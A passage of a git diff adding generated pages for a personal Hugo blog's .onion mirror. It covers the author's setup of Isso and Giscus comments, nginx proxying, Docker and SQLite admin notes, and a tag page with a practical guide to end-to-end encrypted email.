    +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
    +
    +# Enable Discussions for it
    +gh repo edit yourname/blog-comments --enable-discussions
    +

    Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

    +
    +

    Final config snapshot (condensed)

    +
    baseURL = "https://example.com/"
    +theme = "PaperMod"
    +
    +[outputs]
    +  home = ["HTML", "RSS", "JSON"]
    +  section = ["HTML", "RSS"]
    +  taxonomy = ["HTML", "RSS"]
    +  term = ["HTML", "RSS"]
    +
    +[services.rss]
    +  limit = -1
    +
    +[params]
    +  comments = true
    +  ShowRssButtonInSectionTermList = true
    +  ShowFullTextinRSS = true
    +
    +# Optional if using Home-Info/Profile mode:
    +# [[params.socialIcons]]
    +#   name = "rss"
    +#   url  = "/index.xml"
    +

    +

    Appendix — Why I added Isso, how I wired it, and what I fixed

    +

    The story (why Isso + why I still keep Giscus)

    +

    I wanted comments that:

    +
      +
    • allow anonymous replies (no GitHub account required),
    • +
    • are lightweight and self-hosted, and
    • +
    • can work on my Tor .onion mirror.
    • +
    +

    Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

    +

    Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

    +

    How I run it (high-level)

    +
      +
    • Site: Hugo + PaperMod
    • +
    • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
    • +
    • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
    • +
    • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
    • +
    +
    +

    I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

    +

    Hugo partial: switcher + embeds

    +

    Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

    +
    <!-- comments.html -->
    +<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
    +  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
    +  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
    +  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
    +</div>
    +
    +<!-- Isso panel (default) -->
    +<div id="panel-isso">
    +  <section id="isso-thread"></section>
    +  <script
    +    src="/isso/js/embed.min.js"
    +    data-isso="/isso"
    +    data-isso-css="true"
    +    data-isso-lang="en"
    +    data-isso-max-comments-nested="5"
    +    data-isso-sorting="newest"
    +    async>
    +  </script>
    +  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
    +    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
    +  </small>
    +</div>
    +
    +<!-- Giscus panel (lazy-loaded on click) -->
    +<div id="panel-giscus" style="display:none">
    +  <section id="giscus-thread"></section>
    +</div>
    +
    +<script>
    +(function () {
    +  const panelIsso = document.getElementById('panel-isso');
    +  const panelGisc = document.getElementById('panel-giscus');
    +  const issoBtn = document.getElementById('btn-isso');
    +  const giscBtn = document.getElementById('btn-giscus');
    +  let gLoaded = false;
    +
    +  function isDark() {
    +    // 1) explicit PaperMod preference
    +    const pref = localStorage.getItem('pref-theme');
    +    if (pref === 'dark')  return true;
    +    if (pref === 'light') return false;
    +
    +    // 2) page state (classes / data-theme)
    +    const H = document.documentElement, B = document.body;
    +    const hasDark =
    +      H.classList.contains('dark') || B.classList.contains('dark') ||
    +      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
    +      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
    +    if (hasDark) return true;
    +
    +    // 3) OS preference
    +    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
    +  }
    +  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
    +
    +  function loadGiscus() {
    +    if (gLoaded) return;
    +    const s = document.createElement('script');
    +    s.src = 'https://giscus.app/client.js';
    +    s.async = true;
    +    s.crossOrigin = 'anonymous';
    +    s.setAttribute('data-repo','AlipourIm/blog-comments');
    +    s.setAttribute('data-repo-id','R_kgDOQGARyA');
    +    s.setAttribute('data-category','Comments');
    +    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
    +    s.setAttribute('data-mapping','pathname');
    +    s.setAttribute('data-strict','0');
    +    s.setAttribute('data-reactions-enabled','1');
    +    s.setAttribute('data-emit-metadata','0');
    +    s.setAttribute('data-input-position','bottom');
    +    s.setAttribute('data-lang','en');
    +    s.setAttribute('data-theme', gTheme());  // initial theme
    +    document.getElementById('giscus-thread').appendChild(s);
    +
    +    // Retheme once iframe exists
    +    const reTheme = () => {
    +      const iframe = document.querySelector('iframe.giscus-frame');
    +      if (!iframe) return;
    +      iframe.contentWindow?.postMessage(
    +        { giscus: { setConfig: { theme: gTheme() } } },
    +        'https://giscus.app'
    +      );
    +    };
    +
    +    // PaperMod toggle button
    +    document.getElementById('theme-toggle')?.addEventListener('click', () =>
    +      setTimeout(reTheme, 0)
    +    );
    +
    +    // Also react to attribute changes
    +    const mo = new MutationObserver(reTheme);
    +    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
    +    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
    +
    +    gLoaded = true;
    +  }
    +
    +  function show(which) {
    +    const showIsso = which === 'isso';
    +    panelIsso.style.display = showIsso ? 'block' : 'none';
    +    panelGisc.style.display = showIsso ? 'none'  : 'block';
    +    issoBtn?.setAttribute('aria-pressed', showIsso);
    +    giscBtn?.setAttribute('aria-pressed', !showIsso);
    +    if (!showIsso) loadGiscus();
    +  }
    +
    +  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
    +  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
    +
    +  // default
    +  show('isso');
    +})();
    +</script>
    +

    Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

    +

    The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

    +

    Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

    +
    # /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
    +server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
    +
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +
    +    # /isso -> /isso/
    +    location = /isso { return 301 /isso/; }
    +
    +    # IMPORTANT: this must beat regex locations below
    +    location ^~ /isso/ {
    +        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
    +        proxy_http_version 1.1;
    +        proxy_set_header Host $host;
    +        proxy_set_header X-Forwarded-Host $host;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +        proxy_redirect off;
    +        proxy_read_timeout 60s;
    +    }
    +
    +    # static
    +    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Reload and smoke test:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
    +
    +

    If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

    +

    Small CSS tweaks (one color across light/dark + spacing)

    +

    I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

    +
    /* put this in your site CSS */
    +:root { --btn-blue: #2563eb; } /* adjust to taste */
    +
    +/* Isso form buttons */
    +.isso-post-action input[type="submit"],
    +.isso-post-action input[name="preview"] {
    +  background: var(--btn-blue) !important;
    +  color: #fff !important;
    +  border: none;
    +  padding: .5rem .75rem;
    +  border-radius: .4rem;
    +  cursor: pointer;
    +}
    +
    +/* link actions under comments */
    +.isso-comment-footer a {
    +  color: var(--btn-blue) !important;
    +  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
    +  text-decoration: none;
    +}
    +.isso-comment-footer a:hover { text-decoration: underline; }
    +
    +/* keep name/email/website stacked, slightly larger */
    +.isso-auth-section .isso-input-wrapper {
    +  display: block;
    +  margin: .35rem 0;
    +}
    +.isso-auth-section label { font-size: .95rem; }
    +.isso-auth-section input[type="text"],
    +.isso-auth-section input[type="email"],
    +.isso-auth-section input[type="url"] {
    +  width: 100%;
    +  font-size: 1rem;
    +  padding: .5rem .6rem;
    +}
    +

    What changed (the fixes I actually made)

    +
      +
    1. +

      Theme correctness for Giscus.
      +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

      +
        +
      • read localStorage.pref-theme first,
      • +
      • fall back to class/data-theme, then
      • +
      • fall back to OS preference.
        +I also re-theme the Giscus iframe on every toggle via postMessage.
      • +
      +
    2. +
    3. +

      Isso over Tor.
      +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

      +
    4. +
    5. +

      UI polish.

      +
        +
      • Unified button/link color across themes,
      • +
      • ensured “edit”/“delete” aren’t touching,
      • +
      • kept the author/email/website inputs stacked, and
      • +
      • left Submit/Preview styled and grouped.
      • +
      +
    6. +
    +

    Sanity check

    +
      +
    • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
    • +
    • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
    • +
    • Switcher buttons swap panels instantly; Giscus only loads when clicked.
    • +
    +

    8) Final notes!

    +

    I could not fully fix the style of Isso. +CSS is not easy… drat!

    +

    I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

    +

    Admin note — Delete all Isso comments for a single post

    +

    This note is for future me: how to remove every comment tied to one post in Isso.
    +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

    +
    +

    TL;DR (host with SQLite)

    +
    +

    Replace the placeholders for DB and POST_URI first.

    +
    # 0) Variables — edit these two lines for your setup
    +DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
    +POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
    +
    +# 1) Backup (always do this!)
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +
    +# 2) Inspect: find the thread row and preview the comments
    +sqlite3 "$DB" "
    +.headers on
    +.mode column
    +SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +SELECT id, tid, created, author, text
    +FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
    +ORDER BY created DESC
    +LIMIT 25;
    +"
    +
    +# 3) Delete all comments for that post (thread)
    +sqlite3 "$DB" "
    +DELETE FROM comments
    +WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
    +"
    +
    +# 4) (Optional) Remove the now-empty thread row too
    +sqlite3 "$DB" "
    +DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
    +VACUUM;
    +"
    +
    +# 5) Done. Isso usually picks this up automatically.
    +#    If you're containerized and want to be safe:
    +# docker restart <isso_container_name>
    +

    +

    If running Isso in Docker

    +

    Open a shell in the container, then run the same steps:

    +
    docker exec -it <isso_container_name> /bin/sh
    +
    +# Inside the container:
    +DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
    +POST_URI="/posts/skin_routine/"
    +
    +sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +exit
    +
    +# Optionally restart the container:
    +docker restart <isso_container_name>
    +

    +

    Notes & gotchas

    +
      +
    • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
      [general]
      +dbpath = /var/lib/isso/comments.db
      +
    • +
    • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
      sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
      +
    • +
    • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
    • +
    • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
    • +
    • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
    • +
    • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
    • +
    +
    +

    One-liners for the impatient

    +
    DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
    +sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
    +sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
    +sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
    +

    +

    Isso container: quick checks & fixes for future me! (thank past me later ^^)

    +

    Find the container

    +
    docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
    +

    Inspect basic state

    +
    docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
    +

    Logs

    +
    docker logs --tail=200 isso
    +docker logs -f isso
    +

    Ports & reachability

    +
    docker port isso
    +sudo ss -ltnp | grep ':8080 '
    +curl -i http://127.0.0.1:8080/
    +

    Restart policy (keep it running)

    +
    docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
    +docker update --restart unless-stopped isso
    +

    Start/stop the container

    +
    docker start isso
    +docker stop isso
    +

    Who/what stopped it (events)

    +
    docker events --since 24h --filter container=isso
    +

    Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

    +
    nl -ba /config/isso.cfg | sed -n '1,120p'
    +grep -n '^\[server\]' /config/isso.cfg
    +grep -n '^public-endpoint' /config/isso.cfg
    +

    Using Docker Compose (run these in the directory with your compose file)

    +
    docker compose ps
    +docker compose logs --tail=200 isso
    +docker compose up -d isso
    +

    If the container doesn’t exist (create/recreate)

    +
    docker image ls | grep -i isso
    +
    +docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
    +

    Optional: exclude from auto-updaters (like Watchtower)

    +
    docker update --label-add com.centurylinklabs.watchtower.enable=false isso
    +

    This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
    +jSr2VxAAgdHpf+4EIx2ASmSB+MeAHp7s1+2EPhmn96QuhiQO9Dr1e9250LbF/R8S
    +A0zcN8mmyOtKv2rediU6HsGy6ddwdTAtpQDRvMw2Xuk2pBUZaG5LuvlNgSse9zVB
    +dcG3GVLuMSRgNmyolhFoSWn46aa+3wZGrzYZQVUt8op+2fVp36agq2YoB4zeGKSm
    +Ri43rO/kTingD0bclOA+SMbHpKQOcLyHwDlVrqIjVXcJ/kKLcm1G3Z5owo+gB6jY
    +EMjxYiqyf5Zcbt4q/WzojbHLffjXoMzOgZ1sDOIObVQni9atgV49X4oIZ3+xSXSH
    +W7ZbH6sg9LlrU8djddBXUKB0i72IVZ/4F5icVFUcK+szOmASy8fFP7gCOcCRATtb
    +eNIFtiAlRXI0CqJdeq5fE9b+LX8lRpNnX229tg7GFgddzYUmFkKAsoJ9EUzUvUHm
    +Xzqlm9DKy9LG/CeOxo473fIo4YCT2fcmMnt9nCZW4iDKOVl1nCupkTn5qsfNdpQM
    +KycaNwsLBHPZWV+jDon8NEzYQk07n1Q9rlEWdL0egvn2S+pYnvLZbfi5dRhe+ciC
    +qcEW/I1NZZRdU7MUEzhWvhbWsZtTkm6OevXjnqACv91DIQv7tNrKwZuASnpFeDRa
    +GE0QYRrsaI3vCLR3cUmBAFsvZdwgzH0RQLb8w21XBW/BoFvixbA=
    +=9k+S
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/new_features.md.asc
    +gpg --verify new_features.md.asc new_features.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/giscus/page/1/index.html b/public-onion/tags/giscus/page/1/index.html new file mode 100644 index 0000000..9e9e158 --- /dev/null +++ b/public-onion/tags/giscus/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/giscus/ + + + + + + diff --git a/public-onion/tags/gmail-cse/index.html b/public-onion/tags/gmail-cse/index.html new file mode 100644 index 0000000..20cc3e0 --- /dev/null +++ b/public-onion/tags/gmail-cse/index.html @@ -0,0 +1,352 @@ + + + + + + + +Gmail Cse | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends +

    +
    +
    +

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    +
    +
    October 30, 2025 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/gmail-cse/index.xml b/public-onion/tags/gmail-cse/index.xml new file mode 100644 index 0000000..68f89ee --- /dev/null +++ b/public-onion/tags/gmail-cse/index.xml @@ -0,0 +1,177 @@ + + + + Gmail Cse on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/gmail-cse/ + Recent content in Gmail Cse on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 30 Oct 2025 00:00:00 +0000 + + + Sending End‑to‑End Encrypted Email (E2EE) without losing friends + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + Thu, 30 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/e2ee/ + A practical, mildly opinionated guide to sending encrypted email that normal people can actually read. + If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
